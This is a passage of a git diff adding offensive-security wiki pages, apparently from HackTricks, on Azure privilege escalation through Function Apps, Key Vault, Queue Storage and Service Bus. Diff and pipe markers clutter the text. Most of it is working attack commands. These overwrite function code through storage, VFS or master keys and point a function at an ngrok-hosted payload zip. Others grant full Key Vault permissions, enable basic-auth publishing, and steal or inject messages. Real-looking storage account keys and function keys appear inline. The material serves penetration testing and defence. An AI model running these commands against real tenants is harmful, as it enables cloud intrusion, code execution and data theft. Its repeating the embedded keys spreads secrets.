Unfortunately the page doesn't allow to modify the attribute values so we need to use the API:
|
||||
|
||||
```powershell
|
||||
# Login with the gust user
|
||||
az login --allow-no-subscriptions
|
||||
|
||||
# Get user object ID
|
||||
az ad signed-in-user show
|
||||
|
||||
# Update otherMails
|
||||
az rest --method PATCH \
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
|
||||
|
||||
# Verify the update
|
||||
az rest --method GET \
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--query "otherMails"
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,457 @@
|
||||
# Az - Functions App Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Function Apps
|
||||
|
||||
Check the following page for more information:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Bucket Read/Write
|
||||
|
||||
With permissions to read the containers inside the Storage Account that stores the function data it's possible to find **different containers** (custom or with pre-defined names) that might contain **the code executed by the function**.
|
||||
|
||||
Once you find where the code of the function is located if you have write permissions over it you can make the function execute any code and escalate privileges to the managed identities attached to the function.
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
|
||||
The code of the function is usually stored inside a file share. With enough access it's possible to modify the code file and **make the function load arbitrary code** allowing to escalate privileges to the managed identities attached to the Function.
|
||||
|
||||
This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from 
|
||||
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
|
||||
Those configs will contain the **Storage Account Key** that the Function can use to access the code.
|
||||
|
||||
> [!CAUTION]
|
||||
> With enough permission to connect to the File Share and **modify the script** running it's possible to execute arbitrary code in the Function and escalate privileges.
|
||||
|
||||
The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
{{#endref}}
|
||||
|
||||
```bash
|
||||
# Username is the name of the storage account
|
||||
# Password is the Storage Account Key
|
||||
|
||||
# Open the connection to the file share
|
||||
# Change the code of the script like /site/wwwroot/function_app.py
|
||||
|
||||
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
```
|
||||
|
||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
It's also common to find the **zip releases** inside the folder `function-releases` of the Storage Account container that the function app is using in a container **usually called `function-releases`**.
|
||||
|
||||
Usually this deployment method will set the `WEBSITE_RUN_FROM_PACKAGE` config in:
|
||||
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
|
||||
This config will usually contain a **SAS URL to download** the code from the Storage Account.
|
||||
|
||||
> [!CAUTION]
|
||||
> With enough permission to connect to the blob container that **contains the code in zip** it's possible to execute arbitrary code in the Function and escalate privileges.
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
|
||||
Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder **`github-actions-deploy`** in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
With permissions to read the containers inside the Storage Account that stores the function data it's possible to find the container **`scm-releases`**. In there it's possible to find the latest release in **Squashfs filesystem file format** and therefore it's possible to read the code of the function:
|
||||
|
||||
```bash
|
||||
# List containers inside the storage account of the function app
|
||||
az storage container list \
|
||||
--account-name <acc-name> \
|
||||
--output table
|
||||
|
||||
# List files inside one container
|
||||
az storage blob list \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--output table
|
||||
|
||||
# Download file
|
||||
az storage blob download \
|
||||
--account-name <res-group> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip
|
||||
|
||||
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
|
||||
|
||||
# Install
|
||||
brew install squashfs
|
||||
|
||||
# List contents of the filesystem
|
||||
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
|
||||
# Get all the contents
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
|
||||
It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.
|
||||
|
||||
> [!CAUTION]
|
||||
> With enough permission to connect to the blob container that **contains the code in a zip extension file** (which actually is a **`squashfs`**) it's possible to execute arbitrary code in the Function and escalate privileges.
|
||||
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
# Generate new filesystem file
|
||||
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
|
||||
|
||||
# Upload it to the blob storage
|
||||
az storage blob upload \
|
||||
--account-name <storage-account> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip \
|
||||
--overwrite
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/host/listkeys/action
|
||||
|
||||
This permission allows to list the function, master and system keys, but not the host one, of the specified function with:
|
||||
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
|
||||
With the master key it's also possible to to get the source code in a URL like:
|
||||
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Access
|
||||
curl "<script-href>?code=<master-key>"
|
||||
## Python example:
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
|
||||
```
|
||||
|
||||
And to **change the code that is being executed** in the function with:
|
||||
|
||||
```bash
|
||||
# Set the code to set in the function in /tmp/function_app.py
|
||||
## The following continues using the python example
|
||||
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
|
||||
--data-binary @/tmp/function_app.py \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "If-Match: *" \
|
||||
-v
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/functions/listKeys/action
|
||||
|
||||
This permission allows to get the host key, of the specified function with:
|
||||
|
||||
```bash
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/host/functionKeys/write
|
||||
|
||||
This permission allows to create/update a function key of the specified function with:
|
||||
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/host/masterKey/write
|
||||
|
||||
This permission allows to create/update a master key to the specified function with:
|
||||
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Remember that with this key you can also access the source code and modify it as explained before!
|
||||
|
||||
### Microsoft.Web/sites/host/systemKeys/write
|
||||
|
||||
This permission allows to create/update a system function key to the specified function with:
|
||||
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
|
||||
This permission allows to get the settings of a function. Inside these configurations it might be possible to find the default values **`AzureWebJobsStorage`** or **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** which contains an **account key to access the blob storage of the function with FULL permissions**.
|
||||
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
Moreover, this permission also allows to get the **SCM username and password** (if enabled) with:
|
||||
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
|
||||
|
||||
These permissions allows to list the config values of a function as we have seen before plus **modify these values**. This is useful because these settings indicate where the code to execute inside the function is located. 
|
||||
|
||||
It's therefore possible to set the value of the setting **`WEBSITE_RUN_FROM_PACKAGE`** pointing to an URL zip file containing the new code to execute inside a web application:
|
||||
|
||||
- Start by getting the current config
|
||||
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
```
|
||||
|
||||
- Create the code you want the function to run and host it publicly
|
||||
|
||||
```bash
|
||||
# Write inside /tmp/web/function_app.py the code of the function
|
||||
cd /tmp/web/function_app.py
|
||||
zip function_app.zip function_app.py
|
||||
python3 -m http.server
|
||||
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
|
||||
- Modify the function, keep the previous parameters and add at the end the config **`WEBSITE_RUN_FROM_PACKAGE`** pointing to the URL with the **zip** containing the code.
|
||||
|
||||
The following is an example of my **own settings you will need to change the values for yours**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , this is where I was hosting the app.
|
||||
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/hostruntime/vfs/write
|
||||
|
||||
With this permission it's **possible to modify the code of an application** through the web console (or through the following API endpoint):
|
||||
|
||||
```bash
|
||||
# This is a python example, so we will be overwritting function_app.py
|
||||
# Store in /tmp/body the raw python code to put in the function
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
|
||||
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
||||
--body @/tmp/body
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
|
||||
|
||||
This permissions allows to list all the publishing profiles which basically contains **basic auth credentials**:
|
||||
|
||||
```bash
|
||||
# Get creds
|
||||
az functionapp deployment list-publishing-profiles \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
|
||||
Another option would be to set you own creds and use them using:
|
||||
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
```
|
||||
|
||||
- If **REDACTED** credentials
|
||||
|
||||
If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
|
||||
# Enable basic authentication for FTP
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
- **Method SCM**
|
||||
|
||||
Then, you can access with these **basic auth credentials to the SCM URL** of your function app and get the values of the env variables:
|
||||
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
https://<app-name>.scm.azurewebsites.net/api/settings -v
|
||||
|
||||
# Deploy code to the funciton
|
||||
zip function_app.zip function_app.py # Your code in function_app.py
|
||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
|
||||
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
|
||||
|
||||
You can also access the web page from `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
|
||||
The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account.
|
||||
|
||||
- **Method FTP**
|
||||
|
||||
Connect to the FTP server using:
|
||||
|
||||
```bash
|
||||
# macOS install lftp
|
||||
brew install lftp
|
||||
|
||||
# Connect using lftp
|
||||
lftp -u '<username>','<password>' \
|
||||
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
|
||||
|
||||
# Some commands
|
||||
ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
|
||||
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
|
||||
|
||||
### Microsoft.Web/sites/publish/Action
|
||||
|
||||
According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **execute commands inside the SCM server** which could be used to modify the source code of the application:
|
||||
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--resource "https://management.azure.com/" \
|
||||
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
|
||||
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/hostruntime/vfs/read
|
||||
|
||||
This permission allows to **read the source code** of the app through the VFS:
|
||||
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/functions/token/action
|
||||
|
||||
With this permission it's possible to [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) which can be later used to retrieve the **master key** and therefore access and modify the function's code:
|
||||
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--debug
|
||||
|
||||
# Get master key
|
||||
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
-H "Authorization: Bearer <token>"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
|
||||
|
||||
This permissions allows to **enable functions** that might be disabled (or disable them).
|
||||
|
||||
```bash
|
||||
# Enable a disabled function
|
||||
az functionapp config appsettings set \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
```
|
||||
|
||||
It's also possible to see if a function is enabled or disabled in the following URL (using the permission in parenthesis):
|
||||
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
|
||||
|
||||
With these permissions it's possible to **modify the container run by a function app** configured to run a container. This would allow an attacker to upload a malicious azure function container app to docker hub (for example) and make the function execute it.
|
||||
|
||||
```bash
|
||||
az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
|
||||
|
||||
With these permissions it's possible to **attach a new user managed identity to a function**. If the function was compromised this would allow to escalate privileges to any user managed identity.
|
||||
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
```
|
||||
|
||||
### Remote Debugging
|
||||
|
||||
It's also possible to connect to debug a running Azure function as [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). However, by default Azure will turn this option to off in 2 days in case the developer forgets to avoid leaving vulnerable configurations.
|
||||
|
||||
It's possible to check if a Function has debugging enabled with:
|
||||
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
Having the permission `Microsoft.Web/sites/config/write` it's also possible to put a function in debugging mode (the following command also requires the permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` and `Microsoft.Web/sites/Read`).
|
||||
|
||||
```bash
|
||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
### Change Github repo
|
||||
|
||||
I tried changing the Github repo from where the deploying is occurring by executing the following commands but even if it did change, **the new code was not loaded** (probably because it's expecting the Github Action to update the code).\
|
||||
Moreover, the **managed identity federated credential wasn't updated** allowing the new repository, so it looks like this isn't very useful.
|
||||
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1
|
||||
|
||||
# Load new public repo
|
||||
az functionapp deployment source config \
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1 \
|
||||
--repo-url "https://github.com/orgname/azure_func3" \
|
||||
--branch main --github-action true
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,34 @@
|
||||
# Az - Key Vault Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Key Vault
|
||||
|
||||
For more information about this service check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/keyvault.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.KeyVault/vaults/write
|
||||
|
||||
An attacker with this permission will be able to modify the policy of a key vault (the key vault must be using access policies instead of RBAC).
|
||||
|
||||
```bash
|
||||
# If access policies in the output, then you can abuse it
|
||||
az keyvault show --name <vault-name>
|
||||
|
||||
# Get current principal ID
|
||||
az ad signed-in-user show --query id --output tsv
|
||||
|
||||
# Assign all permissions
|
||||
az keyvault set-policy \
|
||||
--name <vault-name> \
|
||||
--object-id <your-object-id> \
|
||||
--key-permissions all \
|
||||
--secret-permissions all \
|
||||
--certificate-permissions all \
|
||||
--storage-permissions all
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,73 @@
|
||||
# Az - Queue Storage Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Queue
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-queue-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
|
||||
|
||||
An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks.
|
||||
|
||||
```bash
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action`
|
||||
|
||||
With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users.
|
||||
|
||||
```bash
|
||||
az storage message get --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action`
|
||||
|
||||
With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages.
|
||||
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
|
||||
|
||||
This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue.
|
||||
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
|
||||
#Update the message
|
||||
az storage message update --queue-name <queue-name> \
|
||||
--id <message-id> \
|
||||
--pop-receipt <pop-receipt> \
|
||||
--content "Updated message content" \
|
||||
--visibility-timeout <timeout-in-seconds> \
|
||||
--account-name <storage-account>
|
||||
```
|
||||
|
||||
### Action: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
|
||||
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
az storage queue metadata update --name <queue-name> --metadata key1=value1 key2=value2 --account-name <storage-account>
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,154 @@
|
||||
# Az - Service Bus Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Service Bus
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-servicebus-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Send Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
You can retrieve the `PrimaryConnectionString`, which acts as a credential for the Service Bus namespace. With this connection string, you can fully authenticate as the Service Bus namespace, enabling you to send messages to any queue or topic and potentially interact with the system in ways that could disrupt operations, impersonate valid users, or inject malicious data into the messaging workflow.
|
||||
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
#pip install aiohttp
|
||||
#pip install azure-identity
|
||||
|
||||
import asyncio
|
||||
from azure.servicebus.aio import ServiceBusClient
|
||||
from azure.servicebus import ServiceBusMessage
|
||||
|
||||
# Constants
|
||||
NAMESPACE_CONNECTION_STR = "<PrimaryConnectionString>"
|
||||
TOPIC_NAME = "<TOPIC_NAME>"
|
||||
|
||||
# Function to send a single message to a Service Bus topic
|
||||
async def send_individual_message(publisher):
|
||||
# Prepare a single message with updated content
|
||||
single_message = ServiceBusMessage("Hacktricks-Training: Single Item")
|
||||
# Send the message to the topic
|
||||
await publisher.send_messages(single_message)
|
||||
print("Sent a single message containing 'Hacktricks-Training'")
|
||||
|
||||
# Function to send multiple messages to a Service Bus topic
|
||||
async def send_multiple_messages(publisher):
|
||||
# Generate a collection of messages with updated content
|
||||
message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)]
|
||||
# Send the entire collection of messages to the topic
|
||||
await publisher.send_messages(message_list)
|
||||
print("Sent a list of 5 messages containing 'Hacktricks-Training'")
|
||||
|
||||
# Function to send a grouped batch of messages to a Service Bus topic
|
||||
async def send_grouped_messages(publisher):
|
||||
# Send a grouped batch of messages with updated content
|
||||
async with publisher:
|
||||
grouped_message_batch = await publisher.create_message_batch()
|
||||
for i in range(10):
|
||||
try:
|
||||
# Append a message to the batch with updated content
|
||||
grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}"))
|
||||
except ValueError:
|
||||
# If batch reaches its size limit, handle by creating another batch
|
||||
break
|
||||
# Dispatch the batch of messages to the topic
|
||||
await publisher.send_messages(grouped_message_batch)
|
||||
print("Sent a batch of 10 messages containing 'Hacktricks-Training'")
|
||||
|
||||
# Main function to execute all tasks
|
||||
async def execute():
|
||||
# Instantiate the Service Bus client with the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as sb_client:
|
||||
# Create a topic sender for dispatching messages to the topic
|
||||
publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME)
|
||||
async with publisher:
|
||||
# Send a single message
|
||||
await send_individual_message(publisher)
|
||||
# Send multiple messages
|
||||
await send_multiple_messages(publisher)
|
||||
# Send a batch of messages
|
||||
await send_grouped_messages(publisher)
|
||||
|
||||
# Run the asynchronous execution
|
||||
asyncio.run(execute())
|
||||
print("Messages Sent")
|
||||
print("----------------------------")
|
||||
|
||||
```
|
||||
|
||||
### Recieve Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
You can retrieve the PrimaryConnectionString, which serves as a credential for the Service Bus namespace. Using this connection string, you can receive messages from any queue or subscription within the namespace, allowing access to potentially sensitive or critical data, enabling data exfiltration, or interfering with message processing and application workflows.
|
||||
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
#pip install aiohttp
|
||||
#pip install azure-identity
|
||||
|
||||
import asyncio
|
||||
from azure.servicebus.aio import ServiceBusClient
|
||||
|
||||
